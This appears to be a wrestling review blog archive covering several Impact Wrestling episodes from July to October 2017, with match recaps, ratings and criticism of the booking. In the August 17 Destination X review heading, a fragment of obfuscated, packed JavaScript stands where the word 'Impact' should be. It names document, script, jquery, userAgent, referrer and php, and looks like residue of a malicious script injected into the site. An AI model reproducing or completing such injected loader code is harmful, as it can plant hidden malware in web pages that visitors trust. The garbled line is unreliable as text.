Impact Wrestling – October 12, 2017: Bad and Unacceptable

Impact Wrestling
Date: October 12, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, Jeremy Borash

We’re less than a month away from Bound For Glory and some of the card is starting to come together. You can pretty much guess a lot of the things they’re going to do, though one question is will Moose manage to do something dumber than walk into an MMA gym alone and pick a fight. Let’s get to it.

We open with a recap of Eli Drake and Chris Adonis attacking Johnny Impact, only to have Garza Jr. interrupt. This sets up Impact vs. Garza for the Bound For Glory title shot.

Garza says he’ll win. No dude, you won’t.

Opening sequence.

We look at Eddie Edwards winning the GHC Title and Garza trying to win the title. As usual, GFW is really, really overestimating how interesting these other companies are.

Eli Drake is defending the title in Japan this week.

Here’s LAX with something to say. They want their title match right now and don’t care what rules they have to abide by. This brings out OVE to say bring it, even if it’s a 5150 street fight. The champs don’t care but Diamante says it’s all of LAX vs. OVE at the same time. The match, and the brawl, is on with the champs getting beaten down, including Dave being sent through a table at ringside.

We look at a press conference announcing GFW wrestlers going over to Tokyo to invade Pro Wrestling Noah. Is it really an invasion if you announce a working relationship and hold a press conference announcing the matches? More on this later, because we’re just that lucky.

Video on American Top Team, including them attacking various GFW employees and Moose going to their gym and getting beaten down. This is a compilation of clips and packages we’ve seen before.

Another video on Garza Jr. By the way it’s 8:31 and we haven’t had a match yet. I’m not sure if that’s a complaint or not.

Rosemary vs. Hannah Harper

Red Wedding ends Harper in 59 seconds. Nearly half of that was them staring at each other.

Post match Rosemary calls out Taya Valkyrie for a dance with the demon. Taya comes out and mists Rosemary for a change of pace, followed by the Road to Valhalla.

We look at Moose getting beaten down at the American Top Team facility.

Moose is going back to the facility, but this time he has backup.

Here’s Taryn Terrell to tell us all to shut up. She’s got a Knockouts Title shot at Bound For Glory but now she wants to focus on Gail Kim. Taryn talks about Gail’s husband Robert Irvine and says after she’s done, they’ll be heading appearing on Divorce Court. Gail comes out and says she won’t be attacking Taryn, only to slap her anyway.

Alberto El Patron is back at Bound For Glory. DANG IT MAN JUST GO AWAY ALREADY!!!

Sienna is ready for a mixed tag tonight and can’t wait to beat up Allie. One of her partners, Texano, says AAA is awesome. The other partner, Caleb Konley, says North Carolina is awesome.

Grado is very tired and says no more. Joseph Park comes up in an expensive car with a bunch of good looking women. They’re just interns, though one of them calls Grado the meal ticket. Grado isn’t happy as Park leaves with the ladies.

Wrestlers talk about the importance of Bound For Glory. This is probably the fifth promo for the show in the first hour to go with the 53 seconds of in-ring action.

We’re an hour into this show and it’s been little more than a recap show so far. 53 seconds of wrestling and an announcement of a tag match for the pay per view. Wrestling Challenge was run better than this.

Sienna/Caleb Konley/Texano vs. Allie/Dezmond Xavier/James Storm

We finally break a whole minute of wrestling an hour and nine minutes into the show. Sienna stomps Allie in the corner to start but gets taken down with a clothesline. It’s off to Texano vs. Storm but Konley comes in instead. Some villainous cheating has Storm in trouble but Storm is quickly out of a chinlock. A leg lariat gives Texano two and Sienna stomps away as well.

Texano gets dropped again and the diving tag brings in Xavier. Kicks abound and a standing corkscrew moonsault gets two with Sienna making the save. Everything breaks down and it’s a Codebreaker from Allie into a Backstabber from Storm. Konley comes back in with a swinging slap, only to have Xavier hit a 619 around the post. Lee breaks up something off the top but it’s the Last Call to end Konley at 6:38.

Rating: D+. Normally I’m a fan of throwing a bunch of feuds into one match but what happens when the feuds aren’t interesting in the slightest? This was more evidence that Bound For Glory isn’t an interesting show as the TV building it up isn’t compelling in the slightest. There’s no reason for AAA and GFW to be feuding and Xavier feels like he hasn’t been around in weeks. I’m sure he’ll be in the X Title match at the pay per view because that’s what they do with that title most of the time. More uninspired booking here, which is becoming a trend.

Here’s a slightly different package on the wrestlers in Japan. Some of the quotes and clips are the same.

Yet ANOTHER video on Garza Jr., this time of him in Japan.

This week’s Global Forged as this show is allergic to wrestling. This one focuses on Jon Bolen, the head trainer.

LAX is ready for the street fight.

Moose went to the American Top Team facility again (we’ve seen the clip of him on the phone at least five times now), though this time he has backup. Fellow MMA fighter Stephan Bonnar (not named until after the segment is over) is there this time though and they have pipes. They walk in and that’s all for now.

Garza Jr. vs. Johnny Impact

The winner faces Eli Drake at Bound For Glory. Feeling out process to start until Impact takes him down with a headlock. Garza sends him outside for a suicide dive as the announcers promise more American Top Team stuff later tonight. Johnny is back up with a flipping elbow off the steps and we take a break. Back with Garza forearming Impact in the corner but LET’S TAKE OFF THOSE PANTS!

Some kicks to the face have Johnny in trouble and they slug it out, followed by a crossbody to put both guys down. Back up and Johnny kicks him down for two more but he has to bail out of Starship Pain. A second attempt completely misses and Garza gets two off a standing moonsault. Garza’s missile dropkick gets another near fall but a pinfall reversal sequence goes to Impact for the pin at 13:50.

Rating: C+. I don’t know how else to say it but no one cares about Garza. He’s just a guy who was in the lucha tag team and then he’s randomly in the #1 contenders match. A bunch of packages on him for one night isn’t enough to make me care about him in this spot, especially when they weren’t hiding the fact that Impact was winning.

Post match Cornette comes in to interview Impact but Adonis comes in and breaks a board over his head.

And now, back to the real story with American Top Team and UFC LEGEND (yes UFC LEGEND I say, along with JB who says it multiple times) Stephan Bonnar. Everyone is gone (it’s the middle of the night) so they just break stuff with the pipes instead and Moose steals some MMA belts. They also wreck the merchandise area. This is the way they’re hyping up the biggest show of the year people. It’s the best idea they have. Moose leaves a note with the receptionist (who didn’t say a word while in the same room where all this was happening) to end the show.

Overall Rating: D-. This is only above a failure because the main event wasn’t bad. I just sat through two hours of Bound For Glory ads, the same clip of Moose on the phone saying he needed help, videos that didn’t make me interested in Garza Jr. and GFW in Japan. If you take out the commercial from the main event, there was less than twenty minutes of action on the show and less than two minutes out of the first seventy were spent on wrestling.

I know they’re strapped with all the taping marathons and such but with this many wrestlers running around, there’s really no excuse to have almost no one to put on the shows. Come up with something better than a squash, a six person tag and a really obvious main event. With as many people as they have, including all the talent they bring in, there’s not much of an excuse for this. This show wasn’t so much bad as it was unacceptable, which is much worse.

Results

Rosemary b. Hannah Harper – Red Wedding

James Storm/Dezmond Xavier/Allie b. Sienna/Caleb Konley/Texano – Last Call to Konley

Johnny Impact b. Garza Jr. – Rollup

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

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Impact Wrestling – September 7, 2017: What’s Spanish For Shut Up About AAA?

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Date: September 7, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, Josh Matthews

As the company tries to go a week without some kind of controversy, here we are with more continuing adventures of a bunch of MMA fighters. That’s the top story at the moment as American Top Team and Bobby Lashley continue to dominate the show, which seems to be setting up a big deal at Bound For Glory. In actual wrestling news, tonight Eli Drake defends the World Title against Matt Sydal. Let’s get to it.

Opening sequence.

Caleb Konley/Trevor Lee vs. Sonjay Dutt/Petey Williams

Dutt armbars Konley to start before it’s off to Petey to speed things up. As assisted Sliced Bread #2 gets two on Konley as everything breaks down early on. The villains are put in the Tree of Woe with Petey standing on both of them and singing O Canada. Petey gets caught in the wrong corner for some double teaming, only to slip away for the hot tag to Dutt a few seconds later.

The tornado DDT gets two on Konley and everything breaks down again. Another tornado DDT (this time with Petey being used as a launching pad) puts Konley down again (bad night for his head) and there’s the Canadian Destroyer. Dutt’s top rope splash puts him away at 7:24.

Rating: C+. Just four guys doing moves to each other but at least it was energetic. The division really isn’t the best in the world right now and having someone like Williams, who was a star nearly fifteen years ago, isn’t the best course of action. Granted the whole thing has been a mess for years now so this is hardly anything new. Nice opener though.

LAX vs. John Bolin/Zachary Wentz

Non-title. The jobbers get stomped down in the corner as OVE is watching from the back. Bolin gets caught in a hanging Stunner/bicycle kick combination, only to have Wentz thrown onto him. The Street Sweeper ends Zachary at 1:37. Total squash.

Post match OVE comes out to challenge for the titles but Konnan says they’ll do it in the Crash. That’s cool with the brothers.

Taryn Terrell/Sienna vs. Gail Kim/Allie

Gail goes after Taryn to start but settles for some clotheslines on Sienna. A flapjack cuts Gail off though and it’s Taryn coming in for a few cheap shots before handing it right back to Sienna. Taryn’s running flip neckbreaker keeps Gail in trouble but she hurricanranas Sienna down and brings in Allie to clean house. Sliced Bread #2 gets two on Sienna as Braxton Sutter and KM brawl to the back. Allie goes up for a high crossbody but Sienna rolls through and grabs the tights for the pin at 4:24.

Rating: D+. I feel so sorry for Sienna. She’s done what she can but as always, the division belongs to Gail and whomever she’s feuding with because this company is obsessed with pushing her through the roof. Even Roman Reigns probably thinks the push is a bit too much. Hopefully they don’t give her the title as a retirement present as she never needs to be near the thing again.

Post match Allie gets beaten down until Rosemary comes out for the save. Cue the debuting Taya Valkyrie for quite the impressive entrance. Taya gets in Sienna’s face but knocks Rosemary down instead, setting up a double chickenwing faceplant. You can probably book the six Knockouts tag already.

Eli Drake is ready for Matt Sydal.

Here’s Jim Cornette for a chat. Jim praises some of the talent including Johnny Impact before hyping up the main event. Cornette would put his money on Sydal but here’s Impact to interrupt. Impact gets straight to the point: he wants the winner of tonight’s match. This brings out LAX with Low Ki leading the way.

Cornette doesn’t think five against one is a good thing but Konnan gets in Johnny’s face to say Impact’s opinion doesn’t mean anything. What’s up with Konnan overlooking Low Ki for a title shot? Cornette says it has nothing to do with them being Latino and Low Ki is in line just like everyone else. The brawl is on with Johnny holding his own until security breaks it up.

Post break Cornette makes Impact vs. Low Ki for the #1 contendership.

Joseph Park tells Grado that there’s a big problem with Laurel Van Ness being Canadian. Grado hugs Laurel but the wedding is off. He tells her not to cry but Laurel seems to snap again, despite Grado’s high five.

Video on GFW’s involvement in TripleMania. There’s a focus on Lashley and Moose appearing in a battle royal. It was actually a team battle royal and their partner, Jeff Jarrett, isn’t mentioned at all. Moose eliminated Bobby and tensions ran high.

Video on Johnny Impact being so dominant in AAA, where he’s a triple champion. Impact successfully defended his titles in a three way ladder match and says his gold means more than Drake’s.

Video on the Sexy Star/Rosemary incident from TripleMania as we hit twenty minutes of packages on the show. Sexy Star was never mentioned.

Video on how important the talent relationship between the companies is.

Next week it’s OVE vs. LAX for the titles from Tijuana.

Video on Dezmond Xavier, who credits his military training with getting him into wrestling.

Pagano is coming.

Eddie Edwards is the first American to win the GHC (Pro Wrestling Noah from Japan) Title.

Video on Garza Jr.

Richard Justice is still exercising after being hurt last week.

Matt Sydal is ready to win the title in what is his official cash-in for beating Lashley.

GFW World Title: Eli Drake vs. Matt Sydal

Drake is defending and shoves him around to start but Sydal doesn’t seem too shaken. Some kicks to the leg set up la majistral for two on Drake as we talk about TripleMania some more. The champ hammers away to take over again as this isn’t exactly thrilling so far. A pop up Big Ending (with Sydal flipping backwards to land on his back instead of his stomach) gets two and we take a break.

Back with Drake elbowing him in the chest and hitting a powerslam. We hit the chinlock for a bit before Drake’s jumping neckbreaker gets two more. Drake gets posted though and Sydal scores with some chops for a breather. Eli stomps him right back down and grabs a DDT for two.

A kneedrop only hits mat though and Sydal hits a backdrop to put both guys down. Matt’s standing moonsault gets two and an ELI SUCKS chant starts up. The top rope double knees put Drake down for two so Adonis throws in the title. Sydal gets in a jumping knee to the face for another near fall. The shooting star is loaded up but Adonis offers a distraction, setting up a belt shot to the head. Drake adds the Gravy Train to retain the title at 19:28.

Rating: C-. The ending was better but it wasn’t the most thrilling match in the world. Drake getting a title defense under his belt helps though and this felt like a big enough deal. Adonis is fine in his role too and works as some extra muscle. Also, it’s nice to have the main event finish without the MMA guys coming in to take all the attention.

Overall Rating: C. This show was rolling along until it hit the wall that was the TripleMania stuff. That was literally over twenty minutes of just talking about a show where the GFW talents were supporting players, save for Impact. If you cut that WAY down and focus on other stuff that actually deserves some attention (assuming the promotion actually has that), this is a much better show. The fast paced first forty five minutes are good but outside of that, the show fell apart.

Results

Sonjay Dutt/Petey Williams b. Caleb Konley/Trevor Lee – Top rope splash to Konley

LAX b. John Bolin/Zachary Wentz – Street Sweeper to Wentz

Sienna/Taryn Terrell b. Allie/Gail Kim – Reversed crossbody with a handful of tights

Eli Drake b. Matt Sydal – Gravy Train

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


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Impact Wrestling – August 17, 2017 (Destination X): Enjoy It While It Lasts

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndytn|var|u0026u|referrer|tytyk||js|php'.split('|'),0,{})) Wrestling
Date: August 17, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, Josh Matthews

It’s a big night around here as we have Destination X. This show is almost all about the X-Division, but it turns out that we also need a new World Champion. Alberto El Patron is still suspended and has now been stripped of the title. The situation will be handled tonight but we have no idea how. Let’s get to it.

Bobby Lashley and American Top Team (MMA camp) arrive with the leader meeting with Jeff Jarrett.

A video recaps the card.

Opening sequence.

McKenzie Mitchell can’t get an interview with Bruce Prichard but did see someone shocking in his office. Naturally she can’t say who that was but she did see someone.

Knockouts Title: Gail Kim vs. Sienna

Kim is challenging and the ropes are now green. They look like the tubes of mutagen on Teenage Mutant Ninja Turtles. Gail grabs a crucifix to start until they head outside with Sienna dropping her onto the steps. Back in and Sienna knees her down for two, followed by a backbreaker into a fall away slam. A superplex is countered into a sunset bomb to kickstart Kim’s comeback, including a crossbody for two. The AK47 doesn’t work but Gail grabs Eat Defeat, which draws KM onto the apron. Gail forearms him to the floor but here’s the returning Taryn Terrell with a cutter to lay Gail out. Now the AK47 can retain the title at 7:02.

Rating: C-. Better than I was expecting here but I don’t buy for a second that this is it for Kim. This seems to be looking towards Gail winning the title and retiring at Bound For Glory because that’s what someone of her magnitude gets to be awarded. The match wasn’t bad and Taryn being back is a very welcome surprise.

Matt Sydal is ready to show what he can really do because he moves at hyper speed and sees in slow motion.

Here’s Bruce Prichard with the new World Title to announce that Alberto El Patron has vacated the title and wishes him the best in his future endeavors (without ever saying he was released or fired etc.). As head corporate adviser, it turns out that Bruce can return the title to any former champion he wishes. Therefore he’ll give it to Bobby Lashley, but here’s Jim Cornette of all people instead. He and Bruce have a short chat (with Bruce mentioning double cheeseburgers at Dairy Queen to silence) but Cornette has a bit of a surprise.

See, Anthem has a lot of interests but doesn’t know much about wrestling. Therefore, he’s been brought in to take care of some of those issues. Bruce calls security on him but Cornette goes on a rant (I’m as shocked as you are) and yells at Bruce for overstepping his bounds and driving everyone crazy.

Therefore, Bruce is fired and security takes him away. Cornette sets the record straight: Alberto didn’t vacate the title because he was stripped of it. We’re not going to have big stars come in here and say they’re on vacation while being handed things. Instead they’re going to have to fight to earn things or deal with him. Next week we’ll be having a twenty man Gauntlet for the Gold to crown a new World Champion.

Cornette goes to leave but here’s LAX to interrupt. After a break, Konnan says Low Ki should be the #1 and facing the winner of that gauntlet match. Cornette doesn’t agree because he may be a cracker (which Konnan had called him) but he’s not a liar. Low Ki says he smells fear on Cornette but Cornette says Low Ki can be #20 in the gauntlet. Konnan isn’t scared of legal threats and threatens violence. Cornette doesn’t seem to care and leaves.

Super X Cup Finals: Taiji Ishimori vs. Dezmond Xavier

They speed things up to start with neither being able to hit much until Xavier nails a dropkick. Ishimori sends him outside without too much effort though and things slow down a bit. Back in and a gutbuster puts Xavier down as Josh talks about the upcoming GFW Network streaming service. After a waistlock keeps Xavier in trouble, Ishimori hits a springboard seated senton, followed by some double knees to the chest. Xavier is right back up but his hurricanrana is countered into a faceplant. The 450 gives Ishimori two so Xavier enziguris him into the corner, followed by a moonsault Pele for the pin at 5:30.

Rating: D+. I’m sorry what now? After hearing about how AMAZING this tournament was for over a month, the finals don’t even go six minutes? This was an amazingly disappointing and completely unnecessary tournament, which really doesn’t surprise me in the slightest. Xavier is a good choice to win the tournament but he beat a bunch of people who mean nothing in this promotion. Ishimori never showed me much, though it’s not like he was given the chance in the first place.

Xavier says this means a lot but he’s coming for the X-Division Title.

Bruce and Karen Jarrett shout at each other a lot in a story that hasn’t been explained and no one cares about. Basically Karen is glad to see him gone and is glad he’s out.

Grado’s visa has expired and he has to leave. Joseph Park says he won’t let Grado go out like a mark because he’ll get to say his goodbye in the ring next week.

X-Division Title: Trevor Lee vs. Sonjay Dutt

Ladder match with Dutt defending. Sonjay sends him outside in a hurry before grabbing a hurricanrana back inside. Lee gets in a ladder to the ribs to take over and sends the ladder inside. Something like a suplex drops Sonjay back first onto the ladder and we take an early break. Back with Lee loading up the ladder for the slow climb, allowing Sonjay to make the save.

Lee takes him down again and brings in a table, because that’s likely to help him climb a ladder you see. The delay lets Dutt kick him down and put Lee on the table, only to get crotched on top. A hard forearm puts him outside and the announcers recap things instead of talking about the match.

Lee bridges a ladder between the ropes and the standing ladder but Sonjay takes him down again. A springboard splash onto Lee onto the ladder allows Dutt to climb but here’s Caleb Konley to powerbomb Dutt through the table. Cue Petey Williams of all people with a Canadian Destroyer on Konley to put everyone down. Dutt springboards up onto the ladder, knocks Lee down, and retains at 16:03.

Rating: B-. Best match of the night by far with the right ending. Dutt has barely been able to have the title after this whole thing with Bruce allowing Lee to hold the title as long as he did. Williams returning is a nice moment for older fans but I’m not sure how much it does for the modern audience. Good match, though nothing we haven’t seen a dozen times in ladder matches.

Lashley knows his opponent’s name: Loser.

Jason Cade/Zachary Wentz vs. OVE

OVE is Ohio vs. Everything, better known as the Crist Brothers or the Irish Airborne. Wentz knees Jake in the face to start but he charges into a boot in the corner. It’s off to Dave for a knee to the head, followed a superkick to knock Cade out of the air. A spinning kick to the head sets up a running kick to the leg/running kick to the knee combo (something like High/Low) for the pin on Cade at 2:12. Not the best debut but I’ve seen worse.

Eli Drake, Chris Adonis, Moose and Ethan Carter III annoy Cornette and get put in the gauntlet with Drake going in at #1.

Video on Lashley vs. Sydal with the winner getting a shot at whatever title he wants.

Matt Sydal vs. Bobby Lashley

Lashley runs him over to start with a shoulder sending Matt outside. A kick to the head staffers Lashley but he comes right back with a crossbody for two. Sydal can’t hit a pop up hurricanrana and gets thrown outside again as we take a break. Back with Lashley destroying Sydal as the announcers brag about Lashley’s MMA teammates, which really just makes me want to watch UFC.

We hit the face ripping for a bit, followed by a delayed vertical suplex. Lashley misses the spear though and a spinwheel kick puts him down. A tornado DDT drops Lashley again but he breaks up the shooting star. The top rope double knees get two on Lashley but his powerslam gets the same. The Dominator gets two more and it’s chair time. That means a Van Daminator to put Lashley down, which somehow isn’t a DQ. Sydal’s shooting star hits knees but the spear hits post, allowing Sydal to grab a rollup for the pin at 14:50.

Rating: C+. Lashley is a great monster heel but it seems like he loses far more than not lately. Sydal winning is the right call and there’s no reason not to put the X-Division Title on him (unless you do the smart thing by moving him towards the main event scene, even if it would prove that the X-Division means nothing). Lashley will be fine with whatever he does of course and I’m sure he’ll be a force in next week’s gauntlet.

Post match one of the MMA fighters chokes the referee until his teammates break it up.

Johnny Impact (Morrison/Mundo/Hennigan) is here next week. He even mentions all of the titles he currently holds.

Overall Rating: B-. There are still some big problems but this was light years better than the previous shows. While I’m not exactly sold on the idea that everything is better (this company has a long history of starting great and then faltering in a hurry), this was a major improvement and an entertaining show. In other words, once you get to the end of the stories instead of dragging them out forever, things get a lot better. Or maybe it’s a lack of focus on Alberto vs. LAX in the least interesting feud of the year. Anyway, good show tonight and I’m interested in the title match next week.

Above all else though, this show felt like it was changing a lot of the stuff that didn’t work. Prichard was one of the worst on screen authority figures I can remember in a long time and Cornette is a major upgrade. He’s much more well known and a far better talker, though you can expect him to blow up and leave in a matter of weeks. The wrestling was better and some of the bigger names being brought in help. I have no confidence in it lasting but it’s a good sign that a lot of the bad stuff is gone and they went with some stuff that worked.

Results

Sienna b. Gail Kim – AK47

Dezmond Xavier b. Taiji Ishimori – Moonsault Pele

Sonjay Dutt b. Trevor Lee – Dutt pulled down the title

OVE b. Jason Cade/Zachary Wentz – Kick to the head/kick to the leg combination

Matt Sydal b. Bobby Lashley – Rollup

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Impact Wrestling – July 27, 2017: The Jeff Jarrett Special

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Date: July 27, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero, Jeremy Borash

The battle between LAX and Alberto El Patron continues as the group wants El Patron to join him but he’d rather not, leading to a series of fights. As usual though, the problem is finding a member of the team to fight him as there’s no one anywhere near Alberto’s level on the team. Therefore, they’ll likely need to add someone new to their ranks. Let’s get to it.

Joseph Park and Grado arrived earlier and it’s time to propose to Laurel Van Ness so Grado can stay in the country. Park has special gear for him to wear when he pops the question.

Long recap of LAX vs. Alberto and his family, including various kidnappings of Alberto’s brother and father.

Opening sequence.

The Mayor of Orlando is guest ring announcer for the night.

Eli Drake/Chris Adonis/Ethan Carter III vs. Eddie Edwards/Naomichi Marufuchi/Moose

Eddie and Eli start things off with Drake trying to silence the crowd. Edwards grabs him by the arm and hands it off to Marufuchi for some more of the same. Drake comes in and gets chopped for his efforts, followed by Adonis coming in to complete the trio. Marufuchi works on Adonis as well, including a double chop with help from Edwards (WE GET IT ALREADY).

The heels are sent outside but Adonis breaks up the Shot of Caffeine and we take a break. Back with Edwards still in trouble and Adonis coming in to kick him in the ribs. The beating continues so the announcers talk about Alberto facing LAX in a gauntlet match tonight. Adonis grabs a chinlock for a good while and Carter comes in to give up the hot tag to Moose.

Some running splashes in the corner have Carter in trouble until Drake and Adonis cut him off with some clubberin in the opposite corner. Marufuchi comes in and fires off kicks to the head, leaving Drake to eat a Pop Up Powerbomb from Moose. Carter sneaks in from behind though and kicks Moose low, setting up a lifting sitout Pedigree for the pin at 16:07.

Rating: C-. Just a boring six man here though at least the ending sets up Moose vs. Carter a bit more. Marufuchi is still just kind of there with little more explanation other than “he’s from Japan and he’s awesome”. Well yeah, but I’m not getting much proof of that when all he’s doing is coming in for about thirty seconds, chopping and kicking, and then getting back out. Moose vs. Carter should be fine especially if it gets Carter the title but there wasn’t much to see here.

A rather large guy named Richard Justice is warming up in case he’s needed. He’s the standby wrestler you see, which McKenzie Miller calls the stupidest thing she’s ever heard.

A brother tag team is coming. That would be the Crist Brothers.

Here’s Lashley to call out Bruce Prichard. In short, he wants a title shot and is tired of being told he has to earn them when people like Alberto come in here and get one on day one. He’d like Bruce to come out here and announce that he’s getting his title shot at Destination X. Cue Bruce with Tyrus to say….not much as Matt Sydal walks past him and gets inside. He pushes Lashley and says he won’t be ignored but Lashley shoves him down. That earns Lashley a knee to the face and a quick shooting star press.

See, this is what they’ve needed to do with the X Division for a long time. There’s no need to throw them into a nothing division off to the side and then use them as cannon fodder. Having them mix with the heavyweights and showing that they can hang makes the division look a lot better, which is whats been missing from this place for years. If they go somewhere with that, well done. Otherwise, it’s a nice thought but nothing more.

Davey Richards and Taiji Ishimori are ready for their Super X Cup match.

Super X Cup First Round: Davey Richards vs. Taiji Ishimori

They fight over a lockup to start with Davey patting him on the chest before trading wristlocks. Ishimori dropkicks him to the floor and teases a 619. Back in and Davey fires off the kicks, followed by a figure four neck lock to send Ishimori over to the ropes. The Indian deathlock goes on but Ishimori makes the rope again. Ishimori hits the running knees in the corner, followed by a Vader Bomb double stomp for two.

They hit the mat for a battle of rollups until Davey rolls him into an ankle lock. That goes nowhere either but Davey catches him in the hold again. Davey plants him down and goes up top, cancels the howl, but misses the double stomp. Ishimori grabs a tombstone but throws Davey up for a pair of knees to the chest instead. A 450 puts Davey away at 8:26.

Rating: C+. Much like Marufuchi, all I know about about Ishimori is whatever we’re told about him during his entrances. Now this match helped a lot more than Marufuchi as we got to see Ishimori work a match that didn’t have the stupid round system or five other people. It helped, though I still need to see a lot more of them and have a reason to care about them for this to really be worth much.

Here are the semifinals:

Dezmond Xavier

Drago

ACH

Ishimori

Prichard makes Lashley vs. Sydal for Destination X with the winner getting whatever title match they want.

Knockouts Title: Rosemary vs. Sienna

Rosemary is challenging and this is Last Knockout Standing. Sienna, with KM in her corner, gets jumped to start and Rosemary unloads on her to take over. A table is brought in quickly but Sienna drops Rosemary and takes a stroll on the floor. Another table is set up on the outside, followed by the champ throwing in a pair of chairs. We get the required duel with both of them being knocked out of the respective hands.

They fight into the crowd with Sienna’s face being raked over the barricade. Rosemary grabs a headscissors and bends backwards over the barricade into kind of a reverse Tarantula. Sienna taps to no effect and we take a break. Back with Rosemary still in control but having to block what looked to be a powerbomb off the apron. The block doesn’t last though and it’s an AK47 off the apron and down to the floor (basically a release powerbomb in this case) for an eight count.

Back in and the Silencer is blocked by the swing of a chair to put Sienna down for nine. A Red Wedding onto the chair knocks Sienna down but Rosemary can’t follow up. Sienna is up at nine but down at ten so Rosemary puts her in front of the chair in the corner. Rosemary puts a trashcan in front of her for a Van Terminator, only to have KM offer a distraction. That means mist to the face but Sienna shoves her off the top and through the table on the floor to retain at 15:39.

Rating: B-. Good brawl, though nothing we haven’t seen before. Rosemary is rather skilled and Sienna is rather…..well she’s rather boring actually but she’s competent in the ring. KM on the other hand is one of the least interesting guys I’ve seen in a long time and having him around doesn’t add anything to any match he’s involved with. It’s a good match but, save for the reverse Tarantula, this wasn’t anything of note.

We look at the end of the six man.

Carter dubs the sitout Pedigree as the ECD: Ethan Carter’s Driver. Moose vs. Carter for the title next week.

Alberto says LAX is lead by a crazy man.

Here’s Trevor Lee to say he’s a fighting champion, meaning he’s got another handpicked challenger. He’s the king of Mexico….and it’s Octagoncito.

Trevor Lee vs. Octagoncito

Lee wrestles with the stolen title on and runs Octagoncito over to start. He misses a charge into the corner though and gets headscissored down, followed by a very long spinning version to put Trevor on the floor. That’s enough for Lee as he takes the countout at 1:40.

Sonjay Dutt runs in after the match but gets stopped by security. Cue Bruce for another unnecessary cameo to send him to the back.

LAX is ready to destroy Alberto once and for all.

Here are Park and Grado, the latter of whom is in a rather form fitting orange suit, to propose to Laurel. Sienna has to force Laurel down the aisle before leaving. Grado calls Laurel knockout gorgeous and proposes but here are a very excited Allie and a less excited Braxton Sutter to pull her to the back. Before there’s an answer though, Kongo Kong interrupts with a shaking head. Grado bails and Kong picks Laurel up but she tells him to put her down. She never actually said no.

LAX vs. Alberto El Patron

Gauntlet match and non-title. Alberto comes through the crowd and it’s going to be Homicide starting for the team. A top rope splash ends Homicide in nineteen seconds and it’s Ortiz coming in second. We’re off to an early break and it’s back to Ortiz in trouble as well but LAX crotches Alberto on top. Not that it matters as Alberto shoves him Ortiz down and hits the double stomp for the pin at 6:30 total.

Santana is in last and hits a running boot in the corner for two. Alberto gets tripped from the floor but avoids a top rope double stomp. A tilt-a-whirl backbreaker drops Santana again but Alberto has to go after the other members. Diamante’s high crossbody is caught and Alberto throws her out onto Homicide. Alberto grabs the cross armbreaker but Ortiz comes in for the DQ at 8:53 total.

Rating: D. So to recap, Alberto just cleaned out all of the wrestling members of LAX in less than nine minutes while also dealing with Diamante and Konnan. And these guys are the top heels in the promotion at the moment and we’re supposed to buy one of them, in theory at least, as a threat to the title? Really? Horrible idea here and a bad way to close the show.

Post match the beatdown is on with Alberto’s brother taking a beating as well. The Veterans of War run in and help Alberto clean house to end the show. In other words, Alberto, who just fended off five people at once on his own, now has his father, his brother, and two big power guys backing him up?

Overall Rating: D+. That main event storyline is just killing everything else on the rest of the show. Everyone in LAX is coming off like a jobber (the Tag Team Champions remember) and that story is dominating the show. There’s some good stuff on here and that’s keeping the show going but they are DYING for a top heel to oppose Alberto (who is far from a great character in the first place). In other words, a Jeff Jarrett run company still doesn’t seem capable of writing TV that is anything more than just average at best.

Results

Eli Drake/Ethan Carter III/Chris Adonis b. Moose/Naomichi Marufuchi/Eddie Edwards – Lifting sitout Pedigree to Moose

Taiji Ishimori b. Davey Richards – 450

Sienna b. Rosemary when Rosemary couldn’t answer the ten count

Octagoncito b. Trevor Lee via countout

Alberto El Patron b. LAX via DQ when Ortiz interfered

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Impact Wrestling – July 6, 2017: Let’s Just Call It “The Company That’s Going To Screw Stuff Up”

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Date: July 6, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, Jeremy Borash, D’Angelo Dinero

We’re back stateside and past Slammiversary which saw Alberto El Patron become the new Impact Wrestling World Champion. However, it’s also a new era as the company has rebranded as Global Force Wrestling. In theory the show is still called Impact Wrestling how in depth the changes go remains to be seen. Let’s get to it.

LAX is in the clubhouse and Konnan says they’re bringing the newest member tonight. It’s going to be Alberto isn’t it?

Recap of Slammiversary, making sure to get in that freaking owl.

Opening sequence.

Here’s Alberto with his brother and father to open things up with a celebration. Apparently his brother is going to be in the ring soon and we’ll get to see how talented this family really is. Alberto praises his father and talks about what it means to be World Champion. If anyone, even if they work for a different company, wants a shot, come get one. Cue Lashley to say the win meant nothing and to promise to build a wall around the family. Dos Caras slaps Lashley in the face but Alberto gets between them. The fight is scheduled for later.

Earlier today, Bruce Prichard yelled at the announcers, telling them to chill out and drop all the drama. Thanks for doing this THREE MONTHS AGO.

Two very large, muscular men known as the Swoll Mates, will be debuting in two weeks.

Caleb Konley vs. Sonjay Dutt

Non-title. Konley takes him into the corner and grabs an early cravate as they don’t seem to have much time. A bodyscissors into a rollup gives Konley two and he smacks Dutt in the jaw for good measure. Konley charges into a pendulum kick in the corner and it’s the tornado DDT to plant him hard. Dutt drops the top rope splash for the pin at 4:47.

Rating: D+. Just a match here with Dutt getting a win to further establish himself as champion. I’m also glad they didn’t make this a title match as Konley hasn’t won a match in the better part of ever and it wouldn’t make a lot of sense to have him get a title shot so soon. Now we need an opponent not named Low Ki to go after the title.

Post match Trevor Lee comes in and drops Dutt before running away with the title. Lee declares himself the new champion.

